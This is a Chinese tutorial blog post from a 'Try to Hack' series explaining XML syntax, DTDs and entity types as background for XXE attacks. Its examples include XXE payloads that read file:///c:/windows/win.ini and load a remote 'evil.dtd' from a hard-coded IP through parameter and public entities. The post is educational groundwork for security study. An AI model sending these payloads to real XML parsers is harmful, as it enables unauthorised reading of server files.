当前位置:网站首页>【Try to Hack】XML
【Try to Hack】XML
2022-06-29 15:37:00 【华为云】
博客主页:开心星人的博客主页
系列专栏:Try to Hack
欢迎关注点赞收藏️留言
首发时间:2022年6月8日
作者水平很有限,如果发现错误,还望告知,感谢!
@toc
XML介绍
XML全称“可扩展标记语言”(extensible markup language),XML是一种用于存储和传输数据的
语言。与HTML一样,XML使用标签和数据的树状结构。但不同的是,==XML不使用预定义标记==,因
此可以为标记指定描述数据的名称。
一个XML文件由XML声明(可选)、DTD(可选)、文档元素组成。
语法规则:
(1) XML文档必须有一个根元素
(2) XML元素都必须有一个关闭标签
(3) XML标签对大小写敏感
(4) XML元素必须被正确的嵌套
(5) XML属性值必须加引号
(6) 实体引用,如果把字符 < 放在 XML 元素中,会发生错误,这是因为解析器会把它当作新元素的开始。所以需要实体化引用为<
(7) XML 中,空格会被保留
<!--XML声明--><?xml version="1.0"?><!--文档类型定义DTD--><!DOCTYPE note [ <!--定义此文档是 note 类型的文档--><!ELEMENT note (to,from,heading,body)> <!--定义note元素有四个元素--><!ELEMENT to (#PCDATA)> <!--定义to元素为”#PCDATA”类型--><!ELEMENT from (#PCDATA)> <!--定义from元素为”#PCDATA”类型--><!ELEMENT head (#PCDATA)> <!--定义head元素为”#PCDATA”类型--><!ELEMENT body (#PCDATA)> <!--定义body元素为”#PCDATA”类型-->]]]><!--文档元素--><note> <to>Dave</to> <from>Tom</from> <head>Reminder</head> <body>You are a good man</body></note>DTD定义元素
<!--文档类型定义DTD--><!DOCTYPE note [ <!--定义此文档是 note 类型的文档--><!ELEMENT note (to,from,heading,body)> <!--定义note元素有四个元素--><!ELEMENT to (#PCDATA)> <!--定义to元素为”#PCDATA”类型--><!ELEMENT from (#PCDATA)> <!--定义from元素为”#PCDATA”类型--><!ELEMENT head (#PCDATA)> <!--定义head元素为”#PCDATA”类型--><!ELEMENT body (#PCDATA)> <!--定义body元素为”#PCDATA”类型-->]]]>PCDATA的意思是被解析的字符数据,PCDATA是会被解析器解析的文本
CDATA是不会被解析器解析的文本,在这些文本中的标签不会被当作标记来对待,其中的实体也不会被展开。
DTD 就定义了 XML 的根元素是note,然后根元素下面有一些子元素,那么 XML 到时候必须像下面这么写
<note> <to>Dave</to> <from>Tom</from> <head>Reminder</head> <body>You are a good man</body></note>DTD定义实体
==实体分为内部实体、外部实体、参数实体和公共实体==
除外部参数实体引用以字符(%)开始外,其它实体都以字符(&)开始,以字符(;)结束。
在 DTD 中定义元素(其实就是对应 XML 中的标签)以外,我们还能在 DTD 中定义实体(对应XML 标签中的内容),毕竟 ML 中除了能标签以外,还需要有些内容是固定的
<!--文档类型定义DTD--><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe "test" >]>这个是==内部实体==
定义元素为 ANY 说明接受任何元素
定义了一个 xml 的实体,实体其实可以看成一个变量,到时候我们可以在 XML 中通过 & 符号进行引用
文档元素可以这么写
<!--文档元素--><creds> <user>&xxe;</user> <pass>mypass</pass></creds>&xxe 对 上面定义的 xxe 实体进行了引用,到时候输出的时候 &xxe 就会被 “test” 替换。
外部实体
<!ENTITY 实体名称 SYSTEM "URI/URL"> 外部引用可支持http,file等协议,不同的语言支持的协议不同,但存在一些通用的协议,具体内容如下所示:
<!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" >]><foo>&xxe;</foo>参数实体
<!ENTITY % 实体名称 "实体的值">或者<!ENTITY % 实体名称 SYSTEM "URI"><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY % an-element "<!ELEMENT mytag (subtag)>"> <!ENTITY % xxe SYSTEM "http://192.168.18.23/xxe/evil.dtd" >%an-element;%xxe;]><foo>&evil;</foo>然后evil.dtd的内容为
<!ENTITY evil SYSTEM "file:///c:/windows/win.ini" >注意%xxe;的使用,应该还是比较容易理解的
<!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY % an-element "<!ELEMENT mytag (subtag)>"> %an-element;]>==参数实体在我们 Blind XXE 中起到了至关重要的作用==
公共实体和公用DTD
公用实体<!ENTITY 实体名称 PUBLIC "public_ID" "URI">公用DTD<!DOCTYPE 根元素名称 PUBLIC “DTD标识名” “公用DTD的URI”>和参数实体使用差不多
<!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY % xxe PUBLIC "public_ID" "http://192.168.18.23/evil.dtd" >%xxe;]><foo>&evil;</foo>XML 属性
属性通常提供不属于数据组成部分的信息。在下面的实例中,文件类型与数据无关,但是对需要处理这个元素的软件来说却很重要:如下例,就明确了文件类型为 GIF,方便程序进行处理。
<file type="gif">computer.gif</file>边栏推荐
- 商业智能BI与业务管理决策思维之三:业务质量分析
- Mingdeyang xilinx-k7-325t/410t core board data manual
- TDesign, which gave us benefits last time, will tell us its open source story today
- Scroll, do you understand?
- 再也不用担心窗体变形了
- 动作捕捉系统用于苹果采摘机器人
- Cmake learning-2
- wallys/m.2/Adapter card(one pcie1x to 4 x Mini PCIE)
- postgresql源码学习(24)—— 事务日志⑤-日志写入WAL Buffer
- 面试官:说一下MySQL事务隔离级别?
猜你喜欢

Interviewer: tell me about the MySQL transaction isolation level?

14.IP协议-bite

Mingdeyang xilinx-k7-325t/410t core board data manual

《网络是怎么样连接的》读书笔记 - WEB服务端请求和响应(五)

作为开发人员,无代码开发平台 iVX 你有必要了解一下

GWD:基于高斯Wasserstein距离的旋转目标检测 | ICML 2021

EasyGBS调用获取实时快照接口时,出现白色方块该如何解决?

List集合详细讲解

postgresql源码学习(24)—— 事务日志⑤-日志写入WAL Buffer

Cmake learning-2
随机推荐
【crossbeam系列】5 crossbeam-util和crossbeam-queue:一些实用的小东西
CSDN无法复制问题
Business Intelligence BI and business management decision-making thinking No. 3: business quality analysis
14.IP协议-bite
LeetCode-470-用Rand7()实现Rand10()
Taro2.* 小程序配置分享微信朋友圈
C language homework - matching system
2022年第一季度保险服务数字化跟踪分析
C learning 2: heap and stack
Is there any lack of dependence? An error is reported when flinksql is packaged and running, but there is no problem when the local idea runs. Solve it. Thanks
商业智能BI与业务管理决策思维之三:业务质量分析
Daily / June 29, 2022: where is Li Feifei's focus on "embodied intelligence"?
Scroll, do you understand?
Introduction to radar related contents
JS will have variable promotion and function promotion
"Game engine shallow in shallow out" 98 Substancepainer plug-in development
taro3.*中使用 dva 入门级别的哦
Numpy 的研究仿制 1
C # learning 1: value type and reference type
Aleph Farms聘请监管事务主管,提前为全球商业化做好准备